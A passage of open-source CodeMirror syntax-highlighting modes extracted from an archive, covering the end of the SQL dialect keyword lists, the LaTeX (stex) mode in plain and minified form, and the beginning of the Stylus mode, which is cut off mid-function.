returned_length returned_octet_length returned_sqlstate returning returns
reverse revoke right role rollback rollup routine routine_catalog
routine_name routine_schema routines row row_count row_number rows rowtype
rule savepoint scale schema schema_name schemas scope scope_catalog
scope_name scope_schema scroll search second section security select
selective self sensitive sequence sequences serializable server server_name
session session_user set setof sets share show similar simple size skip
slice smallint snapshot some source space specific specific_name
specifictype sql sqlcode sqlerror sqlexception sqlstate sqlwarning sqrt
stable stacked standalone start state statement static statistics
stddev_pop stddev_samp stdin stdout storage strict strip structure style
subclass_origin submultiset subscription substring substring_regex succeeds
sum symmetric sysid system system_time system_user t table table_name
tables tablesample tablespace temp template temporary text then ties time
timestamp timezone_hour timezone_minute to token top_level_count trailing
transaction transaction_active transactions_committed
transactions_rolled_back transform transforms translate translate_regex
translation treat trigger trigger_catalog trigger_name trigger_schema trim
trim_array true truncate trusted type types uescape unbounded uncommitted
under unencrypted union unique unknown unlink unlisten unlogged unnamed
unnest until untyped update upper uri usage use_column use_variable user
user_defined_type_catalog user_defined_type_code user_defined_type_name
user_defined_type_schema using vacuum valid validate validator value
value_of values var_pop var_samp varbinary varchar variable_conflict
variadic varying verbose version versioning view views volatile warning
when whenever where while whitespace width_bucket window with within
without work wrapper write xml xmlagg xmlattributes xmlbinary xmlcast
xmlcomment xmlconcat xmldeclaration xmldocument xmlelement xmlexists
xmlforest xmliterate xmlnamespaces xmlparse xmlpi xmlquery xmlroot
xmlschema xmlserialize xmltable xmltext xmlvalidate year yes
zone"),builtin:f("bigint int8 bigserial serial8 bit varying
varbit boolean bool box bytea character char varchar cidr circle date
double precision float8 inet integer int int4 interval json jsonb line lseg
macaddr macaddr8 money numeric decimal path pg_lsn point polygon real
float4 smallint int2 smallserial serial2 serial serial4 text time without
zone with timetz timestamp timestamptz tsquery tsvector txid_snapshot uuid
xml"),atoms:f("false true null
unknown"),operatorChars:/^[*\/+\-%<>!=&|^\/#@?~]/,backslashStringEscapes:!1,dateSQL:f("date
time timestamp"),support:f("ODBCdotTable decimallessFloat
zerolessFloat binaryNumber hexNumber nCharCast charsetCast
escapeConstant")}),a.defineMIME("text/x-gql",{name:"sql",keywords:f("ancestor
and asc by contains desc descendant distinct from group has in is limit
offset on order select superset where"),atoms:f("false
true"),builtin:f("blob datetime first key __key__ string integer
double boolean
null"),operatorChars:/^[*+\-%<>!=]/}),a.defineMIME("text/x-gpsql",{name:"sql",client:f("source"),
keywords:f("abort absolute access action active add admin after
aggregate all also alter always analyse analyze and any array as asc
assertion assignment asymmetric at authorization backward before begin
between bigint binary bit boolean both by cache called cascade cascaded
case cast chain char character characteristics check checkpoint class close
cluster coalesce codegen collate column comment commit committed
concurrency concurrently configuration connection constraint constraints
contains content continue conversion copy cost cpu_rate_limit create
createdb createexttable createrole createuser cross csv cube current
current_catalog current_date current_role current_schema current_time
current_timestamp current_user cursor cycle data database day deallocate
dec decimal declare decode default defaults deferrable deferred definer
delete delimiter delimiters deny desc dictionary disable discard distinct
distributed do document domain double drop dxl each else enable encoding
encrypted end enum errors escape every except exchange exclude excluding
exclusive execute exists explain extension external extract false family
fetch fields filespace fill filter first float following for force foreign
format forward freeze from full function global grant granted greatest
group group_id grouping handler hash having header hold host hour identity
if ignore ilike immediate immutable implicit in including inclusive
increment index indexes inherit inherits initially inline inner inout input
insensitive insert instead int integer intersect interval into invoker is
isnull isolation join key language large last leading least left level like
limit list listen load local localtime localtimestamp location lock log
login mapping master match maxvalue median merge minute minvalue missing
mode modifies modify month move name names national natural nchar new
newline next no nocreatedb nocreateexttable nocreaterole nocreateuser
noinherit nologin none noovercommit nosuperuser not nothing notify notnull
nowait null nullif nulls numeric object of off offset oids old on only
operator option options or order ordered others out outer over overcommit
overlaps overlay owned owner parser partial partition partitions passing
password percent percentile_cont percentile_disc placing plans position
preceding precision prepare prepared preserve primary prior privileges
procedural procedure protocol queue quote randomly range read readable
reads real reassign recheck recursive ref references reindex reject
relative release rename repeatable replace replica reset resource restart
restrict returning returns revoke right role rollback rollup rootpartition
row rows rule savepoint scatter schema scroll search second security
segment select sequence serializable session session_user set setof sets
share show similar simple smallint some split sql stable standalone start
statement statistics stdin stdout storage strict strip subpartition
subpartitions substring superuser symmetric sysid system table tablespace
temp template temporary text then threshold ties time timestamp to trailing
transaction treat trigger trim true truncate trusted type unbounded
uncommitted unencrypted union unique unknown unlisten until update user
using vacuum valid validation validator value values varchar variadic
varying verbose version view volatile web when where whitespace window with
within without work writable write xml xmlattributes xmlconcat xmlelement
xmlexists xmlforest xmlparse xmlpi xmlroot xmlserialize year yes
zone"),builtin:f("bigint int8 bigserial serial8 bit varying
varbit boolean bool box bytea character char varchar cidr circle date
double precision float float8 inet integer int int4 interval json jsonb
line lseg macaddr macaddr8 money numeric decimal path pg_lsn point polygon
real float4 smallint int2 smallserial serial2 serial serial4 text time
without zone with timetz timestamp timestamptz tsquery tsvector
txid_snapshot uuid xml"),atoms:f("false true null
unknown"),operatorChars:/^[*+\-%<>!=&|^\/#@?~]/,dateSQL:f("date
time timestamp"),support:f("ODBCdotTable decimallessFloat
zerolessFloat binaryNumber hexNumber nCharCast
charsetCast")}),a.defineMIME("text/x-sparksql",{name:"sql",keywords:f("add
after all alter analyze and anti archive array as asc at between bucket
buckets by cache cascade case cast change clear cluster clustered codegen
collection column columns comment commit compact compactions compute
concatenate cost create cross cube current current_date current_timestamp
database databases datata dbproperties defined delete delimited deny desc
describe dfs directories distinct distribute drop else end escaped except
exchange exists explain export extended external false fields fileformat
first following for format formatted from full function functions global
grant group grouping having if ignore import in index indexes inner inpath
inputformat insert intersect interval into is items join keys last lateral
lazy left like limit lines list load local location lock locks logical
macro map minus msck natural no not null nulls of on optimize option
options or order out outer outputformat over overwrite partition
partitioned partitions percent preceding principals purge range
recordreader recordwriter recover reduce refresh regexp rename repair
replace reset restrict revoke right rlike role roles rollback rollup row
rows schema schemas select semi separated serde serdeproperties set sets
show skewed sort sorted start statistics stored stratify struct table
tables tablesample tblproperties temp temporary terminated then to touch
transaction transactions transform true truncate unarchive unbounded
uncache union unlock unset use using values view when where window
with"),builtin:f("tinyint smallint int bigint boolean float
double string binary timestamp decimal array map struct uniontype delimited
serde sequencefile textfile rcfile inputformat
outputformat"),atoms:f("false true
null"),operatorChars:/^[*\/+\-%<>!=~&|^]/,dateSQL:f("date
time timestamp"),support:f("ODBCdotTable doubleQuote
zerolessFloat")}),a.defineMIME("text/x-esper",{name:"sql",client:f("source"),keywords:f("alter
and as asc between by count create delete desc distinct drop from group
having in insert into is join like not on or order select set table union
update values where limit after all and as at asc avedev avg between by
case cast coalesce count create current_timestamp day days delete define
desc distinct else end escape events every exists false first from full
group having hour hours in inner insert instanceof into irstream is istream
join last lastweekday left limit like max match_recognize matches median
measures metadatasql min minute minutes msec millisecond milliseconds not
null offset on or order outer output partition pattern prev prior regexp
retain-union retain-intersection right rstream sec second seconds select
set some snapshot sql stddev sum then true unidirectional until update
variable weekday when where window"),builtin:{},atoms:f("false
true
null"),operatorChars:/^[*+\-%<>!=&|^\/#@?~]/,dateSQL:f("time"),support:f("decimallessFloat
zerolessFloat binaryNumber
hexNumber")})}));PKJ��[KP�ttcodemirror/mode/stex/stex.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/*
 * Author: Constantin Jucovschi (c.jucovschi@jacobs-university.de)
 * Licence: MIT
 */

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("stex", function(_config, parserConfig) {
    "use strict";

    function pushCommand(state, command) {
      state.cmdState.push(command);
    }

    function peekCommand(state) {
      if (state.cmdState.length > 0) {
        return state.cmdState[state.cmdState.length - 1];
      } else {
        return null;
      }
    }

    function popCommand(state) {
      var plug = state.cmdState.pop();
      if (plug) {
        plug.closeBracket();
      }
    }

    // returns the non-default plugin closest to the end of the list
    function getMostPowerful(state) {
      var context = state.cmdState;
      for (var i = context.length - 1; i >= 0; i--) {
        var plug = context[i];
        if (plug.name == "DEFAULT") {
          continue;
        }
        return plug;
      }
      return { styleIdentifier: function() { return null; } };
    }

    function addPluginPattern(pluginName, cmdStyle, styles) {
      return function () {
        this.name = pluginName;
        this.bracketNo = 0;
        this.style = cmdStyle;
        this.styles = styles;
        this.argument = null;   // \begin and \end have arguments that
follow. These are stored in the plugin

        this.styleIdentifier = function() {
          return this.styles[this.bracketNo - 1] || null;
        };
        this.openBracket = function() {
          this.bracketNo++;
          return "bracket";
        };
        this.closeBracket = function() {};
      };
    }

    var plugins = {};

    plugins["importmodule"] =
addPluginPattern("importmodule", "tag",
["string", "builtin"]);
    plugins["documentclass"] =
addPluginPattern("documentclass", "tag", ["",
"atom"]);
    plugins["usepackage"] =
addPluginPattern("usepackage", "tag",
["atom"]);
    plugins["begin"] = addPluginPattern("begin",
"tag", ["atom"]);
    plugins["end"] = addPluginPattern("end",
"tag", ["atom"]);

    plugins["label"    ] = addPluginPattern("label"   
, "tag", ["atom"]);
    plugins["ref"      ] = addPluginPattern("ref"     
, "tag", ["atom"]);
    plugins["eqref"    ] = addPluginPattern("eqref"   
, "tag", ["atom"]);
    plugins["cite"     ] = addPluginPattern("cite"    
, "tag", ["atom"]);
    plugins["bibitem"  ] = addPluginPattern("bibitem" 
, "tag", ["atom"]);
    plugins["Bibitem"  ] = addPluginPattern("Bibitem" 
, "tag", ["atom"]);
    plugins["RBibitem" ] = addPluginPattern("RBibitem"
, "tag", ["atom"]);

    plugins["DEFAULT"] = function () {
      this.name = "DEFAULT";
      this.style = "tag";

      this.styleIdentifier = this.openBracket = this.closeBracket =
function() {};
    };

    function setState(state, f) {
      state.f = f;
    }

    // called when in a normal (no environment) context
    function normal(source, state) {
      var plug;
      // Do we look like '\command' ?  If so, attempt to apply
the plugin 'command'
      if (source.match(/^\\[a-zA-Z@]+/)) {
        var cmdName = source.current().slice(1);
        plug = plugins.hasOwnProperty(cmdName) ? plugins[cmdName] :
plugins["DEFAULT"];
        plug = new plug();
        pushCommand(state, plug);
        setState(state, beginParams);
        return plug.style;
      }

      // escape characters
      if (source.match(/^\\[$&%#{}_]/)) {
        return "tag";
      }

      // white space control characters
      if (source.match(/^\\[,;!\/\\]/)) {
        return "tag";
      }

      // find if we're starting various math modes
      if (source.match("\\[")) {
        setState(state, function(source, state){ return inMathMode(source,
state, "\\]"); });
        return "keyword";
      }
      if (source.match("\\(")) {
        setState(state, function(source, state){ return inMathMode(source,
state, "\\)"); });
        return "keyword";
      }
      if (source.match("$$")) {
        setState(state, function(source, state){ return inMathMode(source,
state, "$$"); });
        return "keyword";
      }
      if (source.match("$")) {
        setState(state, function(source, state){ return inMathMode(source,
state, "$"); });
        return "keyword";
      }

      var ch = source.next();
      if (ch == "%") {
        source.skipToEnd();
        return "comment";
      } else if (ch == '}' || ch == ']') {
        plug = peekCommand(state);
        if (plug) {
          plug.closeBracket(ch);
          setState(state, beginParams);
        } else {
          return "error";
        }
        return "bracket";
      } else if (ch == '{' || ch == '[') {
        plug = plugins["DEFAULT"];
        plug = new plug();
        pushCommand(state, plug);
        return "bracket";
      } else if (/\d/.test(ch)) {
        source.eatWhile(/[\w.%]/);
        return "atom";
      } else {
        source.eatWhile(/[\w\-_]/);
        plug = getMostPowerful(state);
        if (plug.name == 'begin') {
          plug.argument = source.current();
        }
        return plug.styleIdentifier();
      }
    }

    function inMathMode(source, state, endModeSeq) {
      if (source.eatSpace()) {
        return null;
      }
      if (endModeSeq && source.match(endModeSeq)) {
        setState(state, normal);
        return "keyword";
      }
      if (source.match(/^\\[a-zA-Z@]+/)) {
        return "tag";
      }
      if (source.match(/^[a-zA-Z]+/)) {
        return "variable-2";
      }
      // escape characters
      if (source.match(/^\\[$&%#{}_]/)) {
        return "tag";
      }
      // white space control characters
      if (source.match(/^\\[,;!\/]/)) {
        return "tag";
      }
      // special math-mode characters
      if (source.match(/^[\^_&]/)) {
        return "tag";
      }
      // non-special characters
      if (source.match(/^[+\-<>|=,\/@!*:;'"`~#?]/)) {
        return null;
      }
      if (source.match(/^(\d+\.\d*|\d*\.\d+|\d+)/)) {
        return "number";
      }
      var ch = source.next();
      if (ch == "{" || ch == "}" || ch == "["
|| ch == "]" || ch == "(" || ch == ")") {
        return "bracket";
      }

      if (ch == "%") {
        source.skipToEnd();
        return "comment";
      }
      return "error";
    }

    function beginParams(source, state) {
      var ch = source.peek(), lastPlug;
      if (ch == '{' || ch == '[') {
        lastPlug = peekCommand(state);
        lastPlug.openBracket(ch);
        source.eat(ch);
        setState(state, normal);
        return "bracket";
      }
      if (/[ \t\r]/.test(ch)) {
        source.eat(ch);
        return null;
      }
      setState(state, normal);
      popCommand(state);

      return normal(source, state);
    }

    return {
      startState: function() {
        var f = parserConfig.inMathMode ? function(source, state){ return
inMathMode(source, state); } : normal;
        return {
          cmdState: [],
          f: f
        };
      },
      copyState: function(s) {
        return {
          cmdState: s.cmdState.slice(),
          f: s.f
        };
      },
      token: function(stream, state) {
        return state.f(stream, state);
      },
      blankLine: function(state) {
        state.f = normal;
        state.cmdState.length = 0;
      },
      lineComment: "%"
    };
  });

  CodeMirror.defineMIME("text/x-stex", "stex");
  CodeMirror.defineMIME("text/x-latex", "stex");

});
PKJ��[$�i��
codemirror/mode/stex/stex.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("stex",(function(a,b){function
c(a,b){a.cmdState.push(b)}function d(a){return
a.cmdState.length>0?a.cmdState[a.cmdState.length-1]:null}function
e(a){var b=a.cmdState.pop();b&&b.closeBracket()}function
f(a){for(var b=a.cmdState,c=b.length-1;c>=0;c--){var
d=b[c];if("DEFAULT"!=d.name)return
d}return{styleIdentifier:function(){return null}}}function g(a,b,c){return
function(){this.name=a,this.bracketNo=0,this.style=b,this.styles=c,this.argument=null,this.styleIdentifier=function(){return
this.styles[this.bracketNo-1]||null},this.openBracket=function(){return
this.bracketNo++,"bracket"},this.closeBracket=function(){}}}function
h(a,b){a.f=b}function i(a,b){var e;if(a.match(/^\\[a-zA-Z@]+/)){var
g=a.current().slice(1);return e=l.hasOwnProperty(g)?l[g]:l.DEFAULT,e=new
e,c(b,e),h(b,k),e.style}if(a.match(/^\\[$&%#{}_]/))return"tag";if(a.match(/^\\[,;!\/\\]/))return"tag";if(a.match("\\["))return
h(b,(function(a,b){return
j(a,b,"\\]")})),"keyword";if(a.match("\\("))return
h(b,(function(a,b){return
j(a,b,"\\)")})),"keyword";if(a.match("$$"))return
h(b,(function(a,b){return
j(a,b,"$$")})),"keyword";if(a.match("$"))return
h(b,(function(a,b){return j(a,b,"$")})),"keyword";var
i=a.next();return"%"==i?(a.skipToEnd(),"comment"):"}"==i||"]"==i?(e=d(b))?(e.closeBracket(i),h(b,k),"bracket"):"error":"{"==i||"["==i?(e=l.DEFAULT,e=new
e,c(b,e),"bracket"):/\d/.test(i)?(a.eatWhile(/[\w.%]/),"atom"):(a.eatWhile(/[\w\-_]/),e=f(b),"begin"==e.name&&(e.argument=a.current()),e.styleIdentifier())}function
j(a,b,c){if(a.eatSpace())return null;if(c&&a.match(c))return
h(b,i),"keyword";if(a.match(/^\\[a-zA-Z@]+/))return"tag";if(a.match(/^[a-zA-Z]+/))return"variable-2";if(a.match(/^\\[$&%#{}_]/))return"tag";if(a.match(/^\\[,;!\/]/))return"tag";if(a.match(/^[\^_&]/))return"tag";if(a.match(/^[+\-<>|=,\/@!*:;'"`~#?]/))return
null;if(a.match(/^(\d+\.\d*|\d*\.\d+|\d+)/))return"number";var
d=a.next();return"{"==d||"}"==d||"["==d||"]"==d||"("==d||")"==d?"bracket":"%"==d?(a.skipToEnd(),"comment"):"error"}function
k(a,b){var
c,f=a.peek();return"{"==f||"["==f?(c=d(b),c.openBracket(f),a.eat(f),h(b,i),"bracket"):/[
\t\r]/.test(f)?(a.eat(f),null):(h(b,i),e(b),i(a,b))}var l={};return
l.importmodule=g("importmodule","tag",["string","builtin"]),l.documentclass=g("documentclass","tag",["","atom"]),l.usepackage=g("usepackage","tag",["atom"]),l.begin=g("begin","tag",["atom"]),l.end=g("end","tag",["atom"]),l.label=g("label","tag",["atom"]),l.ref=g("ref","tag",["atom"]),l.eqref=g("eqref","tag",["atom"]),l.cite=g("cite","tag",["atom"]),l.bibitem=g("bibitem","tag",["atom"]),l.Bibitem=g("Bibitem","tag",["atom"]),l.RBibitem=g("RBibitem","tag",["atom"]),l.DEFAULT=function(){this.name="DEFAULT",this.style="tag",this.styleIdentifier=this.openBracket=this.closeBracket=function(){}},{startState:function(){return{cmdState:[],f:b.inMathMode?function(a,b){return
j(a,b)}:i}},copyState:function(a){return{cmdState:a.cmdState.slice(),f:a.f}},token:function(a,b){return
b.f(a,b)},blankLine:function(a){a.f=i,a.cmdState.length=0},lineComment:"%"}})),a.defineMIME("text/x-stex","stex"),a.defineMIME("text/x-latex","stex")}));PKJ��[MM1�)�)�
codemirror/mode/stylus/stylus.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Stylus mode created by Dmitry Kiselyov http://git.io/AaRB

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("stylus", function(config) {
    var indentUnit = config.indentUnit,
        indentUnitString = '',
        tagKeywords = keySet(tagKeywords_),
        tagVariablesRegexp = /^(a|b|i|s|col|em)$/i,
        propertyKeywords = keySet(propertyKeywords_),
        nonStandardPropertyKeywords = keySet(nonStandardPropertyKeywords_),
        valueKeywords = keySet(valueKeywords_),
        colorKeywords = keySet(colorKeywords_),
        documentTypes = keySet(documentTypes_),
        documentTypesRegexp = wordRegexp(documentTypes_),
        mediaFeatures = keySet(mediaFeatures_),
        mediaTypes = keySet(mediaTypes_),
        fontProperties = keySet(fontProperties_),
        operatorsRegexp =
/^\s*([.]{2,3}|&&|\|\||\*\*|[?!=:]?=|[-+*\/%<>]=?|\?:|\~)/,
        wordOperatorKeywordsRegexp = wordRegexp(wordOperatorKeywords_),
        blockKeywords = keySet(blockKeywords_),
        vendorPrefixesRegexp = new RegExp(/^\-(moz|ms|o|webkit)-/i),
        commonAtoms = keySet(commonAtoms_),
        firstWordMatch = "",
        states = {},
        ch,
        style,
        type,
        override;

    while (indentUnitString.length < indentUnit) indentUnitString +=
' ';

    /**
     * Tokenizers
     */
    function tokenBase(stream, state) {
      firstWordMatch =
stream.string.match(/(^[\w-]+\s*=\s*$)|(^\s*[\w-]+\s*=\s*[\w-])|(^\s*(\.|#|@|\$|\&|\[|\d|\+|::?|\{|\>|~|\/)?\s*[\w-]*([a-z0-9-]|\*|\/\*)(\(|,)?)/);
      state.context.line.firstWord = firstWordMatch ?
firstWordMatch[0].replace(/^\s*/, "") : "";
      state.context.line.indent = stream.indentation();
      ch = stream.peek();

      // Line comment
      if (stream.match("//")) {
        stream.skipToEnd();
        return ["comment", "comment"];
      }
      // Block comment
      if (stream.match("/*")) {
        state.tokenize = tokenCComment;
        return tokenCComment(stream, state);
      }
      // String
      if (ch == "\"" || ch == "'") {
        stream.next();
        state.tokenize = tokenString(ch);
        return state.tokenize(stream, state);
      }
      // Def
      if (ch == "@") {
        stream.next();
        stream.eatWhile(/[\w\\-]/);
        return ["def", stream.current()];
      }
      // ID selector or Hex color
      if (ch == "#") {
        stream.next();
        // Hex color
        if
(stream.match(/^[0-9a-f]{3}([0-9a-f]([0-9a-f]{2}){0,2})?\b(?!-)/i)) {
          return ["atom", "atom"];
        }
        // ID selector
        if (stream.match(/^[a-z][\w-]*/i)) {
          return ["builtin", "hash"];
        }
      }
      // Vendor prefixes
      if (stream.match(vendorPrefixesRegexp)) {
        return ["meta", "vendor-prefixes"];
      }
      // Numbers
      if (stream.match(/^-?[0-9]?\.?[0-9]/)) {
        stream.eatWhile(/[a-z%]/i);
        return ["number", "unit"];
      }
      // !important|optional
      if (ch == "!") {
        stream.next();
        return [stream.match(/^(important|optional)/i) ?
"keyword": "operator", "important"];
      }
      // Class
      if (ch == "." && stream.match(/^\.[a-z][\w-]*/i)) {
        return ["qualifier", "qualifier"];
      }
      // url url-prefix domain regexp
      if (stream.match(documentTypesRegexp)) {
        if (stream.peek() == "(") state.tokenize =
tokenParenthesized;
        return ["property", "word"];
      }
      // Mixins / Functions
      if (stream.match(/^[a-z][\w-]*\(/i)) {
        stream.backUp(1);
        return ["keyword", "mixin"];
      }
      // Block mixins
      if (stream.match(/^(\+|-)[a-z][\w-]*\(/i)) {
        stream.backUp(1);
        return ["keyword", "block-mixin"];
      }
      // Parent Reference BEM naming
      if (stream.string.match(/^\s*&/) &&
stream.match(/^[-_]+[a-z][\w-]*/)) {
        return ["qualifier", "qualifier"];
      }
      // / Root Reference & Parent Reference
      if (stream.match(/^(\/|&)(-|_|:|\.|#|[a-z])/)) {
        stream.backUp(1);
        return ["variable-3", "reference"];
      }
      if (stream.match(/^&{1}\s*$/)) {
        return ["variable-3", "reference"];
      }
      // Word operator
      if (stream.match(wordOperatorKeywordsRegexp)) {
        return ["operator", "operator"];
      }
      // Word
      if (stream.match(/^\$?[-_]*[a-z0-9]+[\w-]*/i)) {
        // Variable
        if (stream.match(/^(\.|\[)[\w-\'\"\]]+/i, false)) {
          if (!wordIsTag(stream.current())) {
            stream.match(/\./);
            return ["variable-2", "variable-name"];
          }
        }
        return ["variable-2", "word"];
      }
      // Operators
      if (stream.match(operatorsRegexp)) {
        return ["operator", stream.current()];
      }
      // Delimiters
      if (/[:;,{}\[\]\(\)]/.test(ch)) {
        stream.next();
        return [null, ch];
      }
      // Non-detected items
      stream.next();
      return [null, null];
    }

    /**
     * Token comment
     */
    function tokenCComment(stream, state) {
      var maybeEnd = false, ch;
      while ((ch = stream.next()) != null) {
        if (maybeEnd && ch == "/") {
          state.tokenize = null;
          break;
        }
        maybeEnd = (ch == "*");
      }
      return ["comment", "comment"];
    }

    /**
     * Token string
     */
    function tokenString(quote) {
      return function(stream, state) {
        var escaped = false, ch;
        while ((ch = stream.next()) != null) {
          if (ch == quote && !escaped) {
            if (quote == ")") stream.backUp(1);
            break;
          }
          escaped = !escaped && ch == "\\";
        }
        if (ch == quote || !escaped && quote != ")")
state.tokenize = null;
        return ["string", "string"];
      };
    }

    /**
     * Token parenthesized
     */
    function tokenParenthesized(stream, state) {
      stream.next(); // Must be "("
      if (!stream.match(/\s*[\"\')]/, false))
        state.tokenize = tokenString(")");
      else
        state.tokenize = null;
      return [null, "("];
    }

    /**
     * Context management
     */
    function Context(type, indent, prev, line) {
      this.type = type;
      this.indent = indent;
      this.prev = prev;
      this.line = line || {firstWord: "", indent: 0};
    }

    function pushContext(state, stream, type, indent) {
      indent = indent >= 0 ? indent : indentUnit;
      state.context = new Context(type, stream.indentation() + indent,
state.context);
      return type;
    }

    function popContext(state, currentIndent) {
      var contextIndent = state.context.indent - indentUnit;
      currentIndent = currentIndent || false;
      state.context = state.context.prev;
      if (currentIndent) state.context.indent = contextIndent;
      return state.context.type;
    }

    function pass(type, stream, state) {
      return states[state.context.type](type, stream, state);
    }

    function popAndPass(type, stream, state, n) {
      for (var i = n || 1; i > 0; i--)
        state.context = state.context.prev;
      return pass(type, stream, state);
    }


    /**
     * Parser
     */
    function wordIsTag(word) {
      return word.toLowerCase() in tagKeywords;
    }

    function wordIsProperty(word) {
      word = word.toLowerCase();
      return word in propertyKeywords || word in fontProperties;
    }

    function wordIsBlock(word) {
      return word.toLowerCase() in blockKeywords;
    }

    function wordIsVendorPrefix(word) {
      return word.toLowerCase().match(vendorPrefixesRegexp);
    }

    function wordAsValue(word) {
      var wordLC = word.toLowerCase();
      var override = "variable-2";
      if (wordIsTag(word)) override = "tag";
      else if (wordIsBlock(word)) override = "block-keyword";
      else if (wordIsProperty(word)) override = "property";
      else if (wordLC in valueKeywords || wordLC in commonAtoms) override =
"atom";
      else if (wordLC == "return" || wordLC in colorKeywords)
override = "keyword";

      // Font family
      else if (word.match(/^[A-Z]/)) override = "string";
      return override;
    }

    function typeIsBlock(type, stream) {
      return ((endOfLine(stream) && (type == "{" || type
== "]" || type == "hash" || type ==
"qualifier")) || type == "block-mixin");
    }

    function typeIsInterpolation(type, stream) {
      return type == "{" &&
stream.match(/^\s*\$?[\w-]+/i, false);
    }

    function typeIsPseudo(type, stream) {
      return type == ":" && stream.match(/^[a-z-]+/,
false);
    }

    function startOfLine(stream) {
      return stream.sol() || stream.string.match(new
RegExp("^\\s*" + escapeRegExp(stream.current())));
    }

    function endOfLine(stream) {
      return stream.eol() || stream.match(/^\s*$/, false);
    }

    function firstWordOfLine(line) {
      var re = /^\s*[-_]*[a-z0-9]+[\w-]*/i;
      var result = typeof line == "string" ? line.match(re) :
line.string.match(re);
      return result ? result[0].replace(/^\s*/, "") :
"";
    }


    /**
     * Block
     */
    states.block = function(type, stream, state) {
      if ((type == "comment" && startOfLine(stream)) ||
          (type == "," && endOfLine(stream)) ||
          type == "mixin") {
        return pushContext(state, stream, "block", 0);
      }
      if (typeIsInterpolation(type, stream)) {
        return pushContext(state, stream, "interpolation");
      }
      if (endOfLine(stream) && type == "]") {
        if (!/^\s*(\.|#|:|\[|\*|&)/.test(stream.string) &&
!wordIsTag(firstWordOfLine(stream))) {
          return pushContext(state, stream, "block", 0);
        }
      }
      if (typeIsBlock(type, stream)) {
        return pushContext(state, stream, "block");
      }
      if (type == "}" && endOfLine(stream)) {
        return pushContext(state, stream, "block", 0);
      }
      if (type == "variable-name") {
        if (stream.string.match(/^\s?\$[\w-\.\[\]\'\"]+$/) ||
wordIsBlock(firstWordOfLine(stream))) {
          return pushContext(state, stream, "variableName");
        }
        else {
          return pushContext(state, stream, "variableName", 0);
        }
      }
      if (type == "=") {
        if (!endOfLine(stream) &&
!wordIsBlock(firstWordOfLine(stream))) {
          return pushContext(state, stream, "block", 0);
        }
        return pushContext(state, stream, "block");
      }
      if (type == "*") {
        if (endOfLine(stream) || stream.match(/\s*(,|\.|#|\[|:|{)/,false))
{
          override = "tag";
          return pushContext(state, stream, "block");
        }
      }
      if (typeIsPseudo(type, stream)) {
        return pushContext(state, stream, "pseudo");
      }
      if (/@(font-face|media|supports|(-moz-)?document)/.test(type)) {
        return pushContext(state, stream, endOfLine(stream) ?
"block" : "atBlock");
      }
      if (/@(-(moz|ms|o|webkit)-)?keyframes$/.test(type)) {
        return pushContext(state, stream, "keyframes");
      }
      if (/@extends?/.test(type)) {
        return pushContext(state, stream, "extend", 0);
      }
      if (type && type.charAt(0) == "@") {

        // Property Lookup
        if (stream.indentation() > 0 &&
wordIsProperty(stream.current().slice(1))) {
          override = "variable-2";
          return "block";
        }
        if (/(@import|@require|@charset)/.test(type)) {
          return pushContext(state, stream, "block", 0);
        }
        return pushContext(state, stream, "block");
      }
      if (type == "reference" && endOfLine(stream)) {
        return pushContext(state, stream, "block");
      }
      if (type == "(") {
        return pushContext(state, stream, "parens");
      }

      if (type == "vendor-prefixes") {
        return pushContext(state, stream, "vendorPrefixes");
      }
      if (type == "word") {
        var word = stream.current();
        override = wordAsValue(word);

        if (override == "property") {
          if (startOfLine(stream)) {
            return pushContext(state, stream, "block", 0);
          } else {
            override = "atom";
            return "block";
          }
        }

        if (override == "tag") {

          // tag is a css value
          if (/embed|menu|pre|progress|sub|table/.test(word)) {
            if (wordIsProperty(firstWordOfLine(stream))) {
              override = "atom";
              return "block";
            }
          }

          // tag is an attribute
          if (stream.string.match(new RegExp("\\[\\s*" + word +
"|" + word +"\\s*\\]"))) {
            override = "atom";
            return "block";
          }

          // tag is a variable
          if (tagVariablesRegexp.test(word)) {
            if ((startOfLine(stream) && stream.string.match(/=/))
||
                (!startOfLine(stream) &&
                 !stream.string.match(/^(\s*\.|#|\&|\[|\/|>|\*)/)
&&
                 !wordIsTag(firstWordOfLine(stream)))) {
              override = "variable-2";
              if (wordIsBlock(firstWordOfLine(stream)))  return
"block";
              return pushContext(state, stream, "block", 0);
            }
          }

          if (endOfLine(stream)) return pushContext(state, stream,
"block");
        }
        if (override == "block-keyword") {
          override = "keyword";

          // Postfix conditionals
          if (stream.current(/(if|unless)/) &&
!startOfLine(stream)) {
            return "block";
          }
          return pushContext(state, stream, "block");
        }
        if (word == "return") return pushContext(state, stream,
"block", 0);

        // Placeholder selector
        if (override == "variable-2" &&
stream.string.match(/^\s?\$[\w-\.\[\]\'\"]+$/)) {
          return pushContext(state, stream, "block");
        }
      }
      return state.context.type;
    };


    /**
     * Parens
     */
    states.parens = function(type, stream, state) {
      if (type == "(") return pushContext(state, stream,
"parens");
      if (type == ")") {
        if (state.context.prev.type == "parens") {
          return popContext(state);
        }
        if ((stream.string.match(/^[a-z][\w-]*\(/i) &&
endOfLine(stream)) ||
            wordIsBlock(firstWordOfLine(stream)) ||
           
/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(firstWordOfLine(stream)) ||
            (!stream.string.match(/^-?[a-z][\w-\.\[\]\'\"]*\s*=/)
&&
             wordIsTag(firstWordOfLine(stream)))) {
          return pushContext(state, stream, "block");
        }
        if
(stream.string.match(/^[\$-]?[a-z][\w-\.\[\]\'\"]*\s*=/) ||
            stream.string.match(/^\s*(\(|\)|[0-9])/) ||
            stream.string.match(/^\s+[a-z][\w-]*\(/i) ||
